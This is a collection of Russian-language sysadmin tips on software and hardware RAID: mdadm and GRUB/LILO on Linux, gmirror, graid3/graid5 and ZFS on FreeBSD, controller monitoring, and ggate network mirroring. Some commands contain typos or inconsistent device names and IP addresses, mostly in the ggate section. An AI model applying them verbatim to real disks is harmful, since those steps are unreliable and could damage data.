    Делаем копию таблицы разделов первого диска на второй:
    
          sfdisk -d /dev/sda | sfdisk /dev/sdb
    
    Создаём raid-1 массив только из одного раздела /dev/sdb2, поскольку /dev/sda2
    сейчас пока занят - с него мы загрузились.
    
          mdadm --create /dev/md0 --level=1 --raid-disk=2 missing /dev/sdb2
    
    Параметр "missing" указывает программе, что у нас пока неполноценный массив и
    одного диска пока не хватает.
    
    Примечание: состояние raid-массивов можно всегда посмотреть в /proc/mdstat.
           
    Теперь создаём конфиг для mdadm. Файл называется /etc/mdadm.conf. Можно сделать это вручную:
           
          MAILADDR 77777XX777@sms.primtel.ru
          PROGRAM /sbin/mdadm-syslog-events
          DEVICE partitions
          ARRAY /dev/md0 level=raid1 num-devices=2 devices=/dev/sdb2,/dev/sda2 auto=md
    
    В этом файле указали адрес, куда слать сообщения о событиях в RAID и главное -
    из чего состоит наш RAID.
    
    Примечание: Запись об устройствах в этом файле можно сделать автоматически:
    
          mdadm --examine --scan  >>/etc/mdadm.conf
    
    Делаем файловую систему на /dev/md0 (мы уже имеем raid-1 !):
    
          mkfs -t ext3 /dev/md0
           
    Монтируем свежесозданный раздел:
    
          mkdir /mnt/md0
          mount /dev/md0 /mnt/md0
    
    
    Копируем систему с sda (предварительно стоит остановить все базы данных и
    прочие полезные программы):
    
          cp   -dpRx   /   /mnt/md0
    
    
    Обязательно следует скопировать ручками или создать inode для /dev/null и
    /dev/console в копии системы. В версиях ядер с udev без этого не обойтись.
           
    Грузимся с Live DVD с Linux-ом в режиме восстановления системы (у меня DVD Alt Linux это умеет).
    
          mkdir /mnt/1
          mount /dev/md0 /mnt/1
          mount /dev /mnt/1/dev -o bind
          mount /proc /mnt/1/proc -o bind
          mount /sys /mnt/1/sys -o bind
          chroot /mnt/1
    
                 
    Если вы всё сделали правильно, значит вы работает уже на своей системе на диске RAID-массива.
           
    Добавляем в RAID-1 первый диск:
     
          mdadm  -a  /dev/md0  /dev/sda2
           
    Это длительная процедура. В этот момент началась синхронизация дисков. Её
    прерывать не следует. Просмотреть, что происходит можно так:
          watch -n 5 cat /proc/mdstat
    
    Раз в 5 секунд будет выводиться инфо о состоянии нашего RAID-а.
           
    После синхронизации, если вы добавляли автоматические записи в /etc/mdadm.conf,
    их стоит стереть и снова:
    
          mdadm --examine --scan  >>/etc/mdadm.conf
    
    Если вы делали это вручную, то ничего делать не надо, поскольку у вас там
    нормальная запись об устройствах, а не их UUID-ы.
           
    Генерим новый RAM-диск:
    
          cd   /boot
          rm   initrd-2.6.28.img
          mkinitrd     initrd-2.6.28.img     2.6.28
    
    Надеюсь, ваше ядро поддерживает модуль raid1. Если это не так, то ничего не
    получится. (См. самый первый пункт).
    
    Обратите внимание, чтобы устройства жёстких дисков в Live CD были такими же,
    что и в вашей системе. Т.е. если в вашей системе это sda, то и при загрузке с
    LiveCD они должны быть sda, а не hda. Иначе в initrd могут не попасть нужные
    модули. Если это не так, выберите другой LiveCD или ручками в командной строке
    добавляйте в initrd не знаю уж какие модули.
           
    Правим /etc/lilo.conf, отмечу важные строки и конфиг для моего ядра:
    
          default="2628"
          boot="/dev/md0"
          raid-extra-boot=mbr-only
          disk=/dev/sda bios=0x80
          disk=/dev/sdb bios=0x81
    
          image="/boot/vmlinuz-2.6.28"
                        label="2628"
                        initrd="/boot/initrd-2.6.28.img"
                        root="/dev/md0"
                        read-only
           
    Затем выполняем "lilo". Предупреждение о том, что загрузочная запись будет в
    том числе и не на первом диске можно проигнорировать.
           
    Правим /etc/fstab. Вместо корня на /dev/sda2 указываем /dev/md0:
    
          /dev/md0  /  ext3   defaults        1       1
           
    Перезагружаемся и работаем с RAID-1.
    
    
    
    ПРИМЕЧАНИЕ: Если у вас GRUB, то:
    В /boot/grub/grub.conf должно быть:
    
                timeout 10 # Грузимся по умолчанию с sda, если не доступен, грузимся с sdb
                default 0
                fallback 1
    
                # Загрузка с первого диска
                title  2628 (hd0,0)
                kernel (hd0,0)/vmlinuz-2.6.28 root=/dev/md0
    
                # Загрузка со второго диска, если с первого не получилось
                title  2628 (hd1,0)
                kernel (hd1,0)/vmlinuz-2.6.28 root=/dev/md0
    
    Запускаем grub и делаем загрузочные записи на первом и втором диске
    
                # grub
                grub> root (hd0,0)
                grub> setup (hd0) 
                grub> root (hd1,0)
                grub> setup (hd1) 
                grub> quit
    
    ДОПОЛНЕНИЕ: Если у вас нет спасательного DVD или Live-DVD или ещё какие
    проблемы (у меня случилось так, что спасательный режим DVD с Alt Linux 5.0 ни в
    какую не определял устройство DVD, а Live DVD не хотел иметь ничего общего с
    /dev/md0), то: после копирования системы с /dev/sda2 на /dev/md0 можно сделать так:
    
    1. Сделать новую initrd для /dev/sda и скопировать на /dev/md0:
    
            cd /boot
            mkinitrd initrd-2.6.28.img 2.6.28
            cp initrd-2.6.28.img  /mnt/md0/boot
    
    2. Смонтировать /dev, /proc, /sys в /mnt/md0 (См. выше)
    
    3. Поменять корень системы:
    
            chroot /mnt/md0
    
    4. В lilo.conf указать загрузку не с /dev/md0, а /dev/sda:
    
             boot="/dev/sda"
    
    5. В lilo.conf не вставлять строку:
    
             raid-extra-boot=mbr-only
    
    6. Перезагрузиться. Система загрузится с /dev/md0.
    
    7. Сделать и дождаться результата:
    
            mdadm -a /dev/md0 /dev/sda2
    
    8. Исправить lilo.conf для полноценного RAID:
    
             boot="/dev/md0"
             raid-extra-boot=mbr-only
    
    9. lilo и потом перезагрузка.
           
    
     
    ----* Неинтерактивная установка RedHat систем на mdraid: решение проблемы с GRUB (доп. ссылка 1)   Автор: sHaggY_caT  [комментарии]
     
    Неинтерактивная установка RedHat систем на mdraid: решение проблемы с GRUB.
    Конструкция вида
    
       bootloader --location=mbr --driveorder=md0
    
    в Anaconda кикстарте не решает проблему: grub все равно поставится на первый(в
    нумерации BIOS) диск. То есть загрузчик попадет и на второй, а вот stage2, уже нет.
    
    При вылете диска первого диска, с данными не произойдет ничего плохого, но
    система загрузиться не может, а возня в "боевых" условиях с live-cd, особенно
    через VirtualMedia может быть чревата большими-большими проблемами.
    
    Добавлю, что с Lilo такой проблемы нет, но Lilo уже прошлый век.
    
    Собственно, решением проблемы является режим grub-batch (командный режим работы
    grub). В секцию кикстарта %post можно положить вот такой код:
    
       #re-Install grub in mdraid
       grub --batch <<EOF
       device (hd0) /dev/sda
       device (hd1) /dev/sdb
       root (hd0,0)
       setup (hd0)
       root (hd1,0)
       setup (hd1)
       quit
       EOF
    
    Для установки grub на два диска.
     
    В centos wiki такой статьи (именно для неинтерактивной установки) нет, как и
    нет в RedHat документации.
    
    Пожалуйста, после замены вылетевшего диска, не забудьте прописать grub на новом диске вручную!
    
    По ссылке находится инструкция в wiki CentOS для решения данной проблемы при
    интерактивной инсталляции:
    http://wiki.centos.org/HowTos/SoftwareRAIDonCentOS5
    
     
    ----* Горячая замена диска в RAID gmirror   Автор: Андрей Савченко  [комментарии]
     
    Цель: Необходимо создать RAID - массив с возможностью горячей замены. После
    длительных и неудачных игр с попыткой создать массив RAID10 или RAID1 через
    ICH7R, было принято решение попробовать программный RAID1. Попытка оказалась
    удачной. Но пришлось наступить на несколько граблей. Что бы облегчить этот путь
    другим, знакомлю сообщество с проверенным решением.
    
    Сразу хочу сказать, что статья поставляется как есть. Все что вы делаете, вы
    делаете на свой страх и риск. Я бы не рекомендовал все проверять на боевом сервере.
    
    Мои эксперименты проводились на: 
    FreeBSD  7.2-RELEASE #0:GENERIC  i386
    Чипсет ICH7R
    Диски WDC WD5001AALS
    
    Требования:
    BIOS
    1.      SATA controller mode:   Enhanced
    2.      SATA AHCI:              Enabled
    или что то подобное
    
    В противном случае подключенный диск не инициализируется системой, во всяком
    случае, у меня не получилось. Подозреваю, что диск не инициализируется на
    уровне BIOS. Возможно, это частный случай.
    При использовании режима AHCI, диск инициализируется автоматом. Нет
    необходимости делать rescan или reinit и тому подобное. В моем случае все это
    не помогло, пока не выставил режим AHCI.
    
    Находим и отключаем убитый диск:
    Нам в помощь 
       atacontrol list
       atacontrol cap device
       gmirror info
       gmirror status
    
    Внимание номера каналов и разъемов SATA никак не совпадают, в том числе их порядок.
    
    Например:
    
       # gmirror status
    
       Name                 Status                  Components
       mirror/gm0              COMPLETE                ad4
                                                       ad8
       mirror/gm1              DEGRADED                ad6
    
    Видно что массив gm0 находится в нормальном состоянии (COMPLETE), а массив gm1
    находятся в аварийном режиме (DEGRADED).
    
    Так же видно в RAID gm1  один диск отсутствует!!! Его нужно найти и заменить.
    Предположим наихудший вариант - диск умер, и выяснить его серийный номер не
    представляется возможным.
    Тогда нужно действовать методом исключения.
    
    Выполняем команду "atacontrol cap device" для каждого видимого диска. Все диски
    можно увидеть с помощью "atacontrol list".
    
       # atacontrol list
    
       ATA channel 0:
          Master:      no device present
          Slave:  acd0 <LG CD-ROM CRD-8522B/2.01> ATA/ATAPI revision 0
       ATA channel 1:
          Master:      no device present
          Slave:       no device present
       ATA channel 2:
          Master:  ad4 <WDC WD5001AALS-00L3B2/01.03B01> SATA revision 2.x
          Slave:       no device present
       ATA channel 3:
          Master:  ad6 <WDC WD5001AALS-00L3B2/01.03B01> SATA revision 2.x
          Slave:       no device present
       ATA channel 4:
          Master:  ad8 <WDC WD5001AALS-00L3B2/01.03B01> SATA revision 2.x
          Slave:       no device present
       ATA channel 5:
          Master:     no device present
          Slave:       no device present
      
    В нашем случае для ad4, ad8, ad6.
    
       # atacontrol cap ad8
    
    В выводе этой команды мы увидим строку типа
    
       serial number         WD-WCASY6287255
    
    Таким образом мы получили номера всех работающих дисков.
    
    Дело за малым, найти их физически. Если диски не были помечены при установке,
    то тут проблема. Серийный номер диска указан на этикетке, иногда последние
    цифры номера указаны в торце, но в дальнем. Если винты установлены плотно,
    тогда лучше выключить машину и переписать номера винтов и пометить их удобным
    для вас способом. Достаточно легко можно посмотреть номера, если диски
    расположены перпендикулярно корпусу.
    
    Как вывод, нужно метить винчестеры  в момент установки и  брать соответствующий
    корпус для удобной замены.
    
    Путем исключения находим неработающий диск. Отключаем его следующим образом.
       1. Отключаем DATA кабель.
       2. Отключаем кабель питания.
    
    Ставим новый диск и подключаем его
    
       1. Подключаем кабель питания.
       2. Подключаем DATA кабель.
    
    
    "atacontrol list"  должен показать новое устройство ad#. Например: ad10
    
       # atacontrol list
       ATA channel 0:
          Master:      no device present
          Slave:  acd0 <LG CD-ROM CRD-8522B/2.01> ATA/ATAPI revision 0
       ATA channel 1:
          Master:      no device present
          Slave:       no device present
       ATA channel 2:
          Master:  ad4 <WDC WD5001AALS-00L3B2/01.03B01> SATA revision 2.x
          Slave:       no device present
       ATA channel 3:
          Master:  ad6 <WDC WD5001AALS-00L3B2/01.03B01> SATA revision 2.x
          Slave:       no device present
       ATA channel 4:
          Master:  ad8 <WDC WD5001AALS-00L3B2/01.03B01> SATA revision 2.x
          Slave:       no device present
       ATA channel 5:
          Master: ad10 <WDC WD5001AALS-00L3B2/01.03B01> SATA revision 2.x
          Slave:       no device present
    
    Добавляем новый диск в  RAID-масив.
    
    Во первых нужно  заставить RAID "забыть" об отключенном диске
    
       # gmirror forget gm1
    
    Теперь команда "gmirror status gm1" покажет нам что RAID gm1 в полном порядке,
    правда состоит из одного диска.
    
       # gmirror status gm1
    
       Name           Status                  Components
       mirror/gm1  COMPLETE            ad6
    
    Можно приступить к добавлению нового подключенного винчестера.
    
       # gmirror insert gm1 /dev/ad10
    
    Эта команда автоматически начинает перестроение массива.
    
    Теперь gmirror status покажет примерно такое:
    
       # gmirror status gm1
       Name            Status                  Components
       mirror/gm1  DEGRADED            ad6
                                       ad10 (1%)
    
    Наберитесь терпения эта процедура займет некоторое время. Для дисков 500G около
    двух часов. Естественно в это время все службы продолжают работать.
    
    По окончании процесса синхронизации порлучим:
    
       # gmirror status gm1
    
       Name           Status                  Components
       mirror/gm1  COMPLETE            ad6
                                       ad10
    
    Если интересно  то с помощью  команд gstat или systat -io можно посмотреть
    активность процесса синхронизации.
    
     
    ----* Определение во FreeBSD состояния RAID-массива на базе SAS контроллера LSI (доп. ссылка 1)   Автор: Панфилов Алексей  [комментарии]
     
    Имеем сервер c RAID-контроллерами LSI SAS 1064E (SAS 3000 series) и  RAID-1,
    который FreeBSD видит как устройство da0.
    
    После физического удаления и последующего возвращения на место  одного из
    дисков в syslog отображается соответствующее уведомление:
    
       Oct 21 22:16:28 bill kernel: mpt0:vol0(mpt0:0:0): RAID-1 - Degraded
       Oct 21 22:16:28 bill kernel: mpt0:vol0(mpt0:0:0): Status ( Enabled Re-Syncing )
    
    Для просмотра типа RAID можно использовать "camcontrol periphlist da0", но при
    этом данные о текущем состоянии RAID не отображаются.
    Нашлось два решения:
    
    1. Анализировать состояние переменной 
       sysctl dev.mpt.0.nonoptimal_volumes
    
    если значение не равно нулю, то есть проблемы с состоянием RAID.
    
    2. Собрать из исходных текстов mptutil (в портах его нет).
    
    Пробуем получить состояние массива:
    
       mptutil show volumes
    
       mpt0 Volumes:
       Id     Size    Level   Stripe  State  Write-Cache  Name
       da0 (  136G) RAID-1          OPTIMAL   Disabled
    
     
    ----* Мониторинг состояния контроллера Adaptec (доп. ссылка 1)   Автор: ExpE  [комментарии]
     
    При хранении информации на RAID массиве создается иллюзия, что данные надежно
    защищены от потери в случае
    выхода из строя одного из носителей. Но пока не проводится регулярный
    мониторинг состояния логического раздела,
    можно просто своевременно не узнать об изменении состояния логического тома.
    Ниже будет описан мониторинг состояния контроллера Adaptec.
    
    Для мониторинга контроллеров Adaptec можно использовать утилиту arcconf,
    входящую в состав Storage Manager'a.
    Загрузить его можно по ссылке http://www.adaptec.com/en-US/downloads/
    После установки, в случае Linux, rpm пакета появится директория /usr/StorMan/.
    
    Команда для получения полной информации о контроллере:
    
       # /usr/StorMan/arcconf getconfig 1
    
    если появится ошибка вида
    
       /usr/StorMan/arcconf: error while loading shared libraries:
        libstdc++.so.5: cannot open shared object file: No such file or directory
    
    нужно выполнить команду
    
       # export LD_PRELOAD="/usr/StorMan/libstdc++.so.5"
    
    Самой важной информацией является информация о состоянии логических дисков
    
       # /usr/StorMan/arcconf getconfig 1 ld
    
    Результат выполнения команды:
    
       Controllers found: 1
       Logical device information
       Logical device number 0
       Logical device name :  tst
       RAID level : 5
       Status of logical device : Optimal
       Size : 14300150 MB
       ...
    
    Ключевой информацией является строка
    
       Status of logical device : Optimal
    
    Команда  для получения информации о состоянии физических дисков
    
       # /usr/StorMan/arcconf getconfig 1 ld
    
    Дополнительную информацию о состоянии контроллера можно получить в лог файлах
    
       # cat /usr/StorMan/RaidEvtA.log
    
    Ниже я приведу скрипт, который проверяет состояние логического диска и, если он
    не в состоянии Optimal, отправляет e-mail
    
    /usr/scripts/checkraid.pl
    
       #!/usr/bin/perl
       use Net::SMTP;
       $opt=`/usr/StorMan/arcconf getconfig 1 ld | grep "Status of logical device" | grep "Optimal" -c`;
       open (FH, ">> /var/log/raidcheck.log");
       if ($opt==0) {
          print (FH scalar(localtime));
          print (FH " Problem with RAID!\n");
          $date=`exec /bin/date '+%F %T'`;
          chomp($date);
          $smtp = Net::SMTP->new('mail.server-name.ru');
          $smtp->mail(' expe@server-name.ru ');
          $smtp->to('expe\@server-name.ru');
          $smtp->data();
          $smtp->datasend("To:expe\@server-name.ru \n");
          $smtp->datasend("Subject: raid problem");
          $smtp->datasend("\n");
          $smtp->datasend("\n");
          $smtp->datasend("[$date]Problem with raid on tst!");
          $smtp->datasend("\n");
          $smtp->dataend();
          $smtp->quit;
          print "Problem with raid!\n";
       } else {
          print (FH scalar(localtime));
          print (FH " Status of raid is optimal\n");
          print "Status of raid is optimal!\n";
       };
       close(FH);
    
     
    ----* Настройка RAID3 и RAID5 во FreeBSD   [комментарии]
     
    В отличии от RAID5 в RAID3 для хранения контрольных сумм выделяется отдельный
    диск, при этом данные
    распределяются по дискам не на уровне блоков, а на уровне байтов (каждый запрос
    приводит к обращению ко всем дискам).
    RAID3 оптимален при работе с данными большого объема и преобладании линейных
    запросов. При работе с большим числом
    мелких файлов, производительность падает.
    
    Имеем: 5 500GB SATA дисков /dev/ad1 ... /dev/ad5, 1 для контрольных сумм и 4 для хранения данных. 
    В итоге получим массив размером 2 Тб.
    
    Загружаем модуль ядра  с реализацией geom класса graid3:
    
       graid3 load
    
    Создаем массив (вместо rd3 можно указать любое желаемое имя):
    
       graid3 label -r rd3 ad1 ad2 ad3 ad4 ad5
    
    Опция "-r" включает задействование для операций чтения диска с контрольными суммами, 
    подобное позволяет значительно увеличить скорость параллельного случайного
    доступа к файлам, но уменьшает производительность
    последовательного чтения.
    
    
    
    Проверяем статус:
    
       graid3 status
    
       Name        Status  Components
       raid3/rd3   COMPLETE  ad1
                             ad2
                             ad3
                             ad4
                             ad5
    
    Смотрим список дисков:
    
       graid3 list
    
    Форматируем (-U - включение Soft Updates):
    
       newfs -U /dev/raid3/rd3
    
    Монтируем:
    
       mkdir /bigstore
       mount /dev/raid3/rd3 /bigstore
    
    Автоматизируем подключение при загрузке, в /boot/loader.conf добавляем 
    
       geom_raid3_load="YES"
    
    В /etc/fstab прописываем монтирование раздела:
    
       /dev/raid3/rd3  /bigstore  ufs  rw,noatime 1  1
    
    В случае повреждения диска, достаточно его заменить без выполнения каких-либо
    команд - подключение нового диска и
    перестроение массива будут выполнены автоматически, мета данные о структуре
    массива сохраняются на каждом диске.\
    
    
    Для настройки RAID5 необходимо использовать одну из неофициальный реализаций GEOM классов:
     http://wgboome.homepage.t-online.de/geom_raid5-eff.tbz
     http://wgboome.homepage.t-online.de/geom_raid5-pp.tbz
    
    Устанавливается, примерно так:
    
       cd /usr/src
       fetch http://wgboome.homepage.t-online.de/geom_raid5-eff.tbz
       tar xvfz geom_raid5-eff.tbz
       cd /usr/src/sys/modules/geom/geom_raid5 && make clean depend all install
       mkdir -p /usr/include/geom/raid5
       cp -p /usr/src/sys/geom/raid5/g_raid5.h /usr/include/geom/raid5/g_raid5.h
       cd /usr/src/sbin/geom/class/raid5 && make depend && make && make install
     
    или загрузить и выполнить готовый установочный скрипт http://www.fluffles.net/files/installgraid5
    
    С точки зрения настройки graid5, работает аналогично graid3, например, создание массива:
    
       graid5 label rd5 ad1 ad2 ad3
    
    Для расширения размера массива через добавление нового диска можно использовать 
    скрипт http://www.fluffles.net/files/graid5-expand :
    
       ./graid5-expand rd5 ad4
        growfs /dev/raid5/rd52
        fsck -t ufs /dev/raid5/rd52
    
    далее работаем уже с /dev/raid5/rd52 (имя нового раздела будет выведено во время запуска скрипта).
    
    Прогресс развития graid5 можно наблюдать в форуме http://www.fluffles.net/forum/storage
    Оценку производительности и советы по тюнингу можно найти на страницах:
     http://blog.lexa.ru/2008/12/07/uprazhnenija_s_brevnom_freebsd_raid5_performance.html
     http://blog.lexa.ru/2008/12/09/uprazhnenija_s_brevnom___2_graid5_gjournal.html
    
     
    ----* Настройка загрузки ZFS с GPT-раздела во FreeBSD и создание зеркала (доп. ссылка 1)   Автор: unknown  [комментарии]
     
    Во FreeBSD 8-CURRENT недавно появилась поддержка загрузки ядра с ZFS,
    а сама файловая система была обновлена до версии 13. Процесс
    развертывания ZFS с возможностью загрузки с нее очень простой:
    
    1. Собираете world с LOADER_ZFS_SUPPORT и kernel с поддержкой gpart(8):
    
    	# добавляем в make.conf(5) опцию поддержки ZFS для loader(8)
    	echo LOADER_ZFS_SUPPORT=yes >>/etc/make.conf
    
    	# собираем world... нет, только loader(8) и загрузочный код
    	cd /usr/src/sys/boot
    	make cleandir; make cleandir
    	make obj depend all install
    
    	# добавляем поддержку таблиц разделов для gpart(8)
    	cat MYKERNEL
    	include		GENERIC
    	nooption	GEOM_BSD
    	nooption	GEOM_MBR
    	options		GEOM_PART_BSD
    	options		GEOM_PART_MBR
    	options		GEOM_PART_GPT
    
    	# собираем kernel
    	make kernel KERNCONF=MYKERNEL -C/usr/src
    
    2. Размечаете первый диск командой gpart(8) на несколько разделов, из
       которых обязательны только freebsd-boot и freebsd-zfs:
    
    	# создаем таблицу разделов типа GPT на диске ad0
    	gpart create -s GPT ad0
    
    	# добавляем загрузочный код, позволяющий загружаться с GPT разделов
    	gpart bootcode -b /boot/pmbr ad0
    
    	# создаем раздел для кода загрузки loader(8)'а с раздела GPT
    	gpart add -b 34 -s 256 -t freebsd-boot ad0
    
    	# записываем загрузочный код на него
    	gpart bootcode -p /boot/gptzfsboot -i 1 ad0
    
    	# создаем swap раздел для возможности использовать его
    	# в качестве dumpdev, т.к. делать kernel dump'ы на zvol'ах
    	# невозможно
    	gpart add -b 290 -s 2097152 -t freebsd-swap ad0
    
    	# создаем основной раздел для ZFS
    	gpart add -b 2097442 -s 232344173 -t freebsd-zfs ad0
    
    	# смотрим на результат
    	gpart show
    	=>       34  234441581  ad0  GPT  (112G)
    	         34        256    1  freebsd-boot  (128K)
    	        290    2097152    2  freebsd-swap  (1.0G)
    	    2097442  232344173    3  freebsd-zfs  (111G)
    
    3. Создаете pool для ZFS на первом разделе и загружаетесь с него:
    
    	# создаем pool с именем `h', выключенном поддержкой
    	# времени последнего доступа и включенным сжатием данных
    	zpool create -O atime=off -O compression=on h ad0p3
    
    	# создаем необходимые dataset'ы
    	zfs create -p -o setuid=off -o utf8only=on h/usr/home
    	zfs create -o sharenfs='-alldirs -webnfs' h/usr/ports
    	zfs create -o atime=on h/var
    	zfs create -o readonly=on h/var/empty
    
    	# населяем pool[1]
    	rsync -aHS --del --fileflags --filter 'merge migrate.rsync' / /h/
    
    	# перезагружаемся
    	shutdown -r now
    
    	# загружаемся *не* с ZFS в single-user режим (loader prompt)
    	boot -s
    
    	# меняем точку монтирования pool'а на корень
    	/etc/rc.d/hostid restart
    	/sbin/zfs set mountpoint=/ h
    
    	# перезагружаемся
    	/sbin/reboot
    
    	# загружаемся с ZFS (loader prompt)
    	load zfs
    	set vfs.root.mountfrom=zfs:h
    	boot
    
    	# добавляем в loader.conf(5) поддержку zfs и точку
            # монтирования / (корня)
    	echo zfs_load=YES >>/boot/loader.conf
    	echo vfs.root.mountfrom=\"zfs:h\" >>/boot/loader.conf
    
    4. Повторяете шаг 1 для второго диска и подсоединяете его к "зеркалу":
    
    	# Размечаем диск с учетом того, что количество блоков
            # у freebsd-zfs должно быть такое же, как и на первом диске.
    	# В даннном примере - 484200428.
    	=>       34  488394988  ad0  GPT  (233G)
    	         34        256    1  freebsd-boot  (128K)
    	        290    4194304    2  freebsd-swap  (2.0G)
    	    4194594  484200428    3  freebsd-zfs  (231G)
    
    	=>       34  488397101  ad1  GPT  (233G)
    	         34        256    1  freebsd-boot  (128K)
    	        290    4196417    2  freebsd-swap  (2.0G)
    	    4196707  484200428    3  freebsd-zfs  (231G)
    
    	# подсоединяете его к pool'у как элемент зеркала
    	# (не перепутайте с *add*)
    	zpool attach h ad0p3 ad1p3
    
    	# смотрим на результат
    	zpool status
    	  pool: h
    	 state: ONLINE
    	 scrub: none requested
    	config:
    
    		NAME        STATE     READ WRITE CKSUM
    		h           ONLINE       0     0     0
    		  mirror    ONLINE       0     0     0
    		    ad0p3   ONLINE       0     0     0
    		    ad1p3   ONLINE       0     0     0
    
    	errors: No known data errors
    
    Примечание: Тест проводился на 14 версии и с использованием
    вот этого патча - http://pastebin.com/f3d2089f3
    
    [1] пример migrate.rsync:
    	exclude .ccache
    	exclude /h
    	exclude /dev
    	exclude /nfs
    	exclude /tmp
    	exclude /var/emtpy
    	exclude /var/run
    
    Стоит не забыть потом создать эти директории в /h с соответствующими правами
    на них. В частности без /dev система не загрузится.
    
     
    ----* Зеркалирование дисков по сети, между двумя FreeBSD серверами (аналог DRBD) (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    Функциональности DRBD во FreeBSD можно добиться примонтировав блочное устройство по сети 
    при помощи GEOM Gate (ggate) и добавив его в зеркало с локальным диском средствами gmirror.
    Для увеличения производительности две машины желательно соединить напрямую
    через отдельные гигабитные Ethernet порты.
    Размер зеркалируемых дисковых разделов должен быть минимально возможным для решаемой задачи,
    так как для последующего перестроения зеркала большого размера может
    понадобиться слишком много времени.
    Например, 20Гб раздел будет синхронизирован при 100Мбит линке за 30 минут, а 500Гб - за 11 часов.
    
    Имеем два узла: master - машина на которой выполняется работа, 
    slave - запасная машина, которая в случае краха мастера перехватит инициативу.
    
    Организуем процесс зеркалирования: разделы /dev/da0s1d на обоих машинах будут
    использованы в качестве вешнего диска, а /dev/ad0s1e - в качестве локального.
    
    Включаем на обоих машинах поддержку GEOM модулей geom_mirror и geom_gate.
    Прописываем в /boot/loader.conf:
    
       geom_mirror_load="YES"
       geom_gate_load="YES"
    
    Перезагружаем системы или загружаем модули руками, если то позволяет текущий securelevel:
     
      kldload geom_mirror
      kldload geom_gate
    
    Предположим, что обе машины имеют два сетевых интерфейса:
    fxp0 - для взаимодействия с внешним миром (мастер узел имеет IP 172.16.100.1, а
    slave - 172.16.100.2).
    fxp1 - для зеркалирования дисков между узлами (master - 192.168.100.1, slave - 192.168.100.2).
    На fxp0 мастера также поднят через алиас 172.16.100.12, который будет использоваться 
    для предоставления публичных сервисов и в случа краха мастера будет перехвачен на slave узле.
    
    Для переключения на slave в случае сбоя будем использовать freevrrpd, установленный 
    из порта /usr/ports/net/freevrrpd
    
    Пример конфигурации freevrrpd:
    Мастер узел:
    
       [VRID]
       serverid = 1
       interface = fxp0
       priority = 255 # повышенный приоритет для master
       addr = 172.16.100.12/32 #  рабочий IP, обрабатывающий запросы внешнего мира.
       password = anyoneulike
       masterscript = /usr/local/bin/become_master
       backupscript = /usr/local/bin/become_standby
    
    Резервный узел, который перехватит инициативу в случае краха мастера:
    
       [VRID]
       serverid = 1
       interface = fxp0
       priority = 240 # пониженный приоритет, поднимать сервер только в случае краха мастера
       addr = 172.16.100.12/32 # какой IP поднимать в случае краха мастера
       password = anyoneulike
       masterscript = /usr/local/bin/become_master
       backupscript = /usr/local/bin/become_standby
    
    
    Экспорт дисковых разделов.
    
    На мастер узле прописываем параметры экспортируемого со slave диска в /etc/gg.exports:
    
       192.168.0.2 RW /dev/da0s1d
    
    А на slave-е параметры диска на мастр-узле (в случае краха мастера, slave
    возмет на себя роль мастера):
    
       192.168.0.1 RW /dev/da0s1d
    
    
    На запасной машине запускаем процесс ggated (только на slave, не на мастере !).
    
       ggated -v
    
    Демон будет запущен в режиме отладки. 
    После того как все заработает нужно прописать запуск ggated в стартовый скрипт слейва.
    
    Импортирование удаленного блочного устройства на мастер-узле осуществляется командой:
    
       ggatec create 192.168.100.2 /dev/da0s1d
    
    которая вернет имя нового устройства, как правило это будет ggate0
    В дальнейшем на мастере нужно осуществлять дисковые операции с /dev/ggate0
    Запускаем  ggatec только на мастере !
    
    При сбое мастера freevrrpd скрипт become_master завершит выполнение ggated на
    slave узле и выполнит ggatec,
    а после восстановления старого мастера поднимет на нем ggated через скрипт become_standby
    
    
    Настройка заркалирования.
    
    На мастер-узле создаем RAID-1 из локального и удаленного дисков:
    
       gmirror label -v -n -b prefer gm0 /dev/ggate0
       gmirror insert -p 100 gm0 /dev/ad0s1e
    
    Алгоритм балансировки "prefer" важен для минимизации нагрузки на вторичный диск, 
    все операции чтения будут производится с локального диска, которому выставлен
    более высокий приоритет 100.
    
    Перестраиваем массив:
    
       gmirror rebuild rm0 ggate0
    
    Для включения опции автосинхронизации слайсов выполняем:
    
       gmirror configure -a gm0
    
    После завершения синхронизации массива в логе увидим:
    
       GEOM_MIRROR: Device gm0: rebuilding provider ggate0 finished.
       GEOM_MIRROR: Device gm0: provider ggate0 activated.
    
    Далее /dev/gm0 можно отформатировать стандартным образом через newfs и
    примонтировать на мастер сервере.
    
    
    Переключение на резевный (slave) сервер в случае краха основного сервера.
    
    Проведем эксперимент - отключим линк у мастер-сервера, симулировав его крах. 
    Ниже описана логика работы скрипта become_master
    
    На slave завершим ggated процесс. Зеркало должно автоматически заработать на запасном узле:
    
       GEOM_MIRROR: Device gm0 created (id=2381431211).
       GEOM_MIRROR: Device gm0: provider ad0s1e detected.
       GEOM_MIRROR: Force device gm0 start due to timeout.
       GEOM_MIRROR: Device gm0: provider ad0s1e activated.
       GEOM_MIRROR: Device gm0: provider mirror/gm0 launched.
    
    Далее выпоним fsck на случай нарушения целостности ФС и примонтируем раздел:
    
       fsck -t ufs /dev/mirror/gm0
       mount /dev/mirror/gm0 /mnt
    
    После того как раздел заработал на slave-сервере, попытаемся восстановить работу мастера,
    который должен после краза занять роль запасной машины.
    
    После включения мастер-узла, займемся восстановления его статуса первичного узла.
    
    На местере останавливаем работу зеркала gmirror для перевода его в подчиненный режим.
    
       gmirror stop gm0
    
    Запускаем ggated для приема репликаций от бывшего слейва, теперь ставшего основным сервером
    
       ggated -v
    
    Подключаем локальный диск /dev/da0s1e в зеркало в качестве неприоритетного раздела.
    Для этого выполняем автоконфигурацию:
    
       gmirror configure -n gm0
    
    Оформляем экспорт локального диска /dev/da0s1e:
    
       ggatec create 192.168.100.2 /dev/da0s1e
    
    И ставим экспортируемому диску наименьший приоритет.
    
       gmirror insert -p 0 gm0 /dev/ggate
    
    Включаем автоконфигурацию зеркала:
    
       gmirror cinfigure -a gm0
    
    Перестраиваем зеркало:
    
       gmirror rebuild gm0 ggate0
    
    После завершения перестроения в логе наблюдаем:
    
       GEOM_MIRROR: Device gm0: rebuilding provider ggate0 finished.
       GEOM_MIRROR: Device gm0: provider ggate0 activated.
    
    Удаляем раздел /dev/ad0s1d из зеркала и вновь добавляем его с повышенным приоритетом, 
    для восстановления функций основного сервера:
    
       gmirror remove gm0 /dev/ad0s1d
       gmirror insert -p 100 gm0 /dev/ad0s1d
    
    
    Ситуация краха запасного сервера, при работающей мастере.
    
    После восстановления работы слейва, на мастер хосте временно отключаем импорт диска:
    
       ggatec destroy -f -u 0
    
    в логе
    
       GEOM_GATE: Device ggate0 destroyed.
